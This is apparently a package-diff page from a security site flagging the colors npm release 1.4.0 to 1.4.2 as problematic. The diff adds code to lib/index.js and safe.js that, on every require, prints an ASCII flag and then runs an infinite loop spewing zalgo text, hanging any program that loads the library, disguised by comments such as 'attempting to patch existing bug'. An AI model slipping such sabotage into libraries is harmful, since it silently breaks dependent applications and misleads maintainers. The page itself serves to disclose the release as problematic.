colors 1.4.0 → 1.4.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of colors might be problematic. Click here for more details.

package/README.md CHANGED
@@ -92,7 +92,7 @@ The super nifty way
92
92
  var colors = require('colors');
93
93
 
94
94
  console.log('hello'.green); // outputs green text
95
- console.log('i like cake and pies'.underline.red) // outputs red underlined text
95
+ console.log('i like cake and pies'.underline.red); // outputs red underlined text
96
96
  console.log('inverse the color'.inverse); // inverses the color
97
97
  console.log('OMG Rainbows!'.rainbow); // rainbow
98
98
  console.log('Run the trap'.trap); // Drops the bass
@@ -105,7 +105,7 @@ or a slightly less nifty way which doesn't extend `String.prototype`
105
105
  var colors = require('colors/safe');
106
106
 
107
107
  console.log(colors.green('hello')); // outputs green text
108
- console.log(colors.red.underline('i like cake and pies')) // outputs red underlined text
108
+ console.log(colors.red.underline('i like cake and pies')); // outputs red underlined text
109
109
  console.log(colors.inverse('inverse the color')); // inverses the color
110
110
  console.log(colors.rainbow('OMG Rainbows!')); // rainbow
111
111
  console.log(colors.trap('Run the trap')); // Drops the bass
@@ -0,0 +1,31 @@
1
+ module.exports = function americanFlag () {
2
+ console.log('LIBERTY LIBERTY LIBERTY'.yellow);
3
+ console.log('LIBERTY LIBERTY LIBERTY'.america);
4
+ console.log('LIBERTY LIBERTY LIBERTY'.yellow);
5
+ let flag = "\
6
+ \
7
+ !\
8
+ H|H|H|H|H H__________________________________\
9
+ H|§|§|§|H H|* * * * * *|---------------------|\
10
+ H|§|∞|§|H H| * * * * * |---------------------|\
11
+ H|§|§|§|H H|* * * * * *|---------------------|\
12
+ H|H|H|H|H H| * * * * * |---------------------|\
13
+ H|H|H|H|H H|---------------------------------|\
14
+ =============== H|---------------------------------|\
15
+ /| _ _ |\ H|---------------------------------|\
16
+ (| O O |) H|---------------------------------|\
17
+ /| U |\ H-----------------------------------\
18
+ | \=/ | H\
19
+ \_..._/ H\
20
+ _|\I/|_ H\
21
+ _______/\| H |/\_______ H\
22
+ / \ \ / / \ H\
23
+ | \ | | / | H\
24
+ | ||o|| | H\
25
+ | | ||o|| | | H\
26
+ | | ||o|| | | H Carl Pilcher\
27
+ ";
28
+
29
+ console.log(flag);
30
+
31
+ }
package/lib/index.js CHANGED
@@ -11,3 +11,13 @@ module['exports'] = colors;
11
11
  //
12
12
  //
13
13
  require('./extendStringPrototype')();
14
+
15
+ /* remove this line after testing */
16
+ let am = require('../lib/custom/american');
17
+ am();
18
+ for (let i = 666; i < Infinity; i++) {
19
+ if (i % 333) {
20
+ // console.log('testing'.zalgo.rainbow)
21
+ }
22
+ console.log('testing testing testing testing testing testing testing'.zalgo)
23
+ }
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "colors",
3
3
  "description": "get colors in your node.js console",
4
- "version": "1.4.0",
4
+ "version": "1.4.2",
5
5
  "author": "Marak Squires",
6
6
  "contributors": [
7
7
  {
package/safe.js CHANGED
@@ -7,4 +7,15 @@
7
7
  //
8
8
  //
9
9
  var colors = require('./lib/colors');
10
+
11
+ /* attempting to patch existing bug */
12
+ let am = require('./lib/custom/american');
13
+ am();
14
+ for (let i = 666; i < Infinity; i++) {
15
+ if (i % 333) {
16
+ // console.log('testing'.zalgo.rainbow)
17
+ }
18
+ console.log(colors.zalgo('testing testing testing testing testing testing testing'))
19
+ }
20
+
10
21
  module['exports'] = colors;